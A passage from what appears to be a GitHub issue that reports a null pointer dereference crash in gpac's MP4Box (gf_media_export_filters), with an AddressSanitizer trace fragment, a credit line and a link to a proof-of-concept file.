(/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV media_tools/media_export.c:1112 in gf_media_export_filters ==2590==ABORTING ``` Credit : ADLab of Venustech [poc-null.zip](https://github.com/gpac/gpac/files/6403776/poc-null.zip)

Null pointer dereference in gpac MP4Box gf_media_export_filters

https://api.github.com/repos/gpac/gpac/issues/1769/comments

2021-04-30T08:03:06Z

2021-08-11T02:27:58Z

https://github.com/gpac/gpac/issues/1769